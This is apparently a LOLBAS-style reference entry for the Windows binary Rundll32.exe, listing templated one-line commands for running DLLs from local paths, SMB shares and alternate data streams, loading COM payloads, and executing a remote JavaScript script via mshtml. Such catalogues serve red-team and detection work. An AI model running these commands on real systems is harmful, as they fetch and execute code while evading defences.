Rundll32.exe

Used by Windows to execute dll files

Paths

First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.

Use case: Execute DLL file

Privileges: User

rundll32.exe {PATH},EntryPoint

Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.

Use case: Execute DLL from SMB share.

Privileges: User

rundll32.exe {PATH_SMB:.dll},EntryPoint

Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

Use case: Execute code from Internet

Privileges: User

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")

Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

Use case: Execute code from alternate data stream

Privileges: User

rundll32 "{PATH}:ADSDLL.dll",DllMain

Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.

Use case: Execute a DLL/EXE COM server payload or ScriptletURL code.

Privileges: User

rundll32.exe -sta {CLSID}